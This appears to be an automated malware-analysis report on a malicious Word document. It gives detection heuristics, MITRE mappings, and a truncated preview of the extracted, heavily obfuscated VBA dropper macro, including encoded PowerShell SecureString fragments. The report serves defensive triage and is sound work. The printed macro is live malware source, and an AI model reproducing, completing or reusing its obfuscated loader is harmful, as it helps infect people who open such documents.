MALICIOUS
224
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample is a malicious Office document containing VBA macros, specifically an AutoOpen macro that uses CreateObject to execute code. The ClamAV detection 'Doc.Malware.Emodldr-10025032-0' and the presence of a VBA macro named 'macros.bas' strongly indicate a downloader or dropper functionality. The VBA script is heavily obfuscated, but the heuristic firings confirm the intent to execute code via macros.
Heuristics 8
-
ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 46374 bytes |
SHA-256: f25a2dc4e1969f20475379b1fd301775085c7a0c1efd5e7cfc9447bfe0c11915 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 24 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "cVfkULzM"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "lZwYQwNt"
Sub iIaAz(EZTtL)
wlwXtO = JXRsEA
Cos (83359 / CDate(91697 - Sin(63030)))
ENjTY = (32970 / 5109)
oQrzap = 83355 / knoAB
jZjiM = WzGNX
Cos (27343 / CDate(29025 - Sin(62063)))
HZUvwE = (97781 / 93604)
zcBlQ = 7900 / jJhiJ
tEmEoJ = bMaLqc
Cos (26401 / CDate(37716 - Sin(9938)))
Skcaj = (68363 / 27431)
iCGrEh = 4012 / YfPIr
pThlC = uoqnbE
Cos (29794 / CDate(87819 - Sin(63542)))
NVYUF = (14191 / 44494)
HsIYEi = 7282 / NBvJsv
End Sub
Function TuvEASZRwi()
On Error Resume Next
PMpJFw = FptRJ
Cos (88792 / CDate(62335 - Sin(87837)))
HAorz = (84332 / 63817)
uildI = 62913 / MsmBs
SrfEMVRLQw = DUMPj("rzAGIAMQBhADIANwAxADgAMQA4AGQANwBlADQAOABhADMAYQAzAGUAYgAwADIAOAAxADEAYgA0ADAAYwACAa7w", 2 + 9934 - 9934, 80 + 9934 - 9934)
WpUqDf = IwLFa
Cos (29704 / CDate(67196 - Sin(31308)))
RnXfjP = (51196 / 24809)
wIdEQH = 59091 / YlLTB
ioHba = Muksv
Cos (50828 / CDate(70761 - Sin(53991)))
HvWFV = (94863 / 67489)
rbCCK = 68886 / iBhdko
DIclOMoEiF = DUMPj("968A1AGIAYgBiAGIAOQAyADIAOQBjADMAZABmAGQAZABmADEANAA5AGEANQAwADkANgA3ADUAZgBiADgAMgBjADgANABkAGQAYgAyAGQAOQA4AGIAMwBjADAAZQAyEwwV", 4 + 9934 - 9934, 122 + 9934 - 9934)
lTldJM = Tisaf
Cos (75989 / CDate(67588 - Sin(78884)))
zNvlP = (98774 / 45187)
BLvOt = 86593 / rfRKC
iMEjbi = ctjZfA
Cos (62466 / CDate(94898 - Sin(76726)))
Tjtroi = (85999 / 78489)
WXiBl = 54999 / oXWNG
wpGjQvnvcQb = DUMPj("icraUANABiADMAYwBkAGIANgBlAGMAYgAzADAAZQAzAZY", 5 + 9934 - 9934, 39 + 9934 - 9934)
pRiiNF = fVXqFz
Cos (36026 / CDate(80491 - Sin(85118)))
hLuSLJ = (95256 / 85593)
wXLJaa = 57151 / qcIJRn
pKWREf = qKiOs
Cos (25853 / CDate(26050 - Sin(33094)))
dhWGkd = (56407 / 9217)
CoOvG = 17488 / XuipIF
DAXvw = DUMPj("8Q4DQAMABiADQAOAA0ADAAMAA0ADEANgNak", 4 + 9934 - 9934, 29 + 9934 - 9934)
IthIz = LziGk
Cos (65599 / CDate(76685 - Sin(92790)))
rLjRQC = (82856 / 91378)
DVUVSf = 54244 / XdNNDU
CkJBZ = cCQpKH
Cos (52400 / CDate(66393 - Sin(73024)))
WbEsa = (53182 / 39583)
bRpGj = 99581 / PjUZLG
vtRKKjqb = DUMPj("3ZwBhAGUANQBjAGUAMQAyAGUANQA2ADEANgA5AGYANQAwAGUAMQAxAGUAMAA1AGMANQAwADUAMAA4ADcAZQBkADAAOAA1ADAANgA2ADMAMgAxADYANwA3AGInV7T3W", 4 + 9934 - 9934, 117 + 9934 - 9934)
pUKzG = TCmcd
Cos (85739 / CDate(86792 - Sin(8632)))
TnaQza = (16328 / 78516)
TRMub = 12855 / aFGlk
scwpD = uBiWu
Cos (22376 / CDate(12585 - Sin(16002)))
nWPKt = (22063 / 49395)
pCjhUY = 81870 / doDRCB
WQNds = DUMPj("@DlYODQAYQBiAGUANwBjADYAMgBhAGUAZAA3ADQANwBmADQAYwA5ADcAMQA0ADYAYgA5AGUAMwA2AGUAZAA2ADAANAAwADgAMwA5ADIAYgBhADUAZABlADgAZgBhAGEAYgA3ADgAMwA1ADgANQA3AGEAMwBlADgAOQA5AGIAYgBlAGUAOABmADkAYgAxADEAMgA3ADk2XZ0", 6 + 9934 - 9934, 194 + 9934 - 9934)
AAzzBR = mrlBQ
Cos (94663 / CDate(81291 - Sin(82021)))
LTzImX = (43722 / 50091)
opQWDq = 40926 / vOJvOY
CRARdd = cEOku
Cos (80813 / CDate(2137 - Sin(23626)))
iBjXh = (52648 / 36098)
DiYpQn = 1378 / oqdGsu
mjAzl = DUMPj("coM6wsECUREStRi'+'n'+'G') -Key 64,236,126,53,213,223,114,176,169,10,225,232,116,214,133,116,214,154,202,149,194,38,244,177,172,140,119,208,71,11,1aj", 6 + 9934 - 9934, 141 + 9934 - 9934)
jzXvZ = wZEMrV
Cos (29514 / CDate(40539 - Sin(89953)))
bwMOv = (9304 / 25247)
RNsFz = 46079 / KouAZ
zYfkjf = KICYm
Cos (91681 / CDate(59776 - Sin(10728)))
YbrDzN = (91774 / 30384)
UmzPv = 30801 / JipZVz
hHjKRkK = DUMPj("ThsHhINTEROPservicES.MarSHaL]::SEcUrESTrinGToBSTr( $('76492d1116743f043R", 6 + 9934 - 9934, 65 + 9934 - 9934)
kfcNp = iGuTL
Cos (57777 / CDate(74833 - Sin(
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.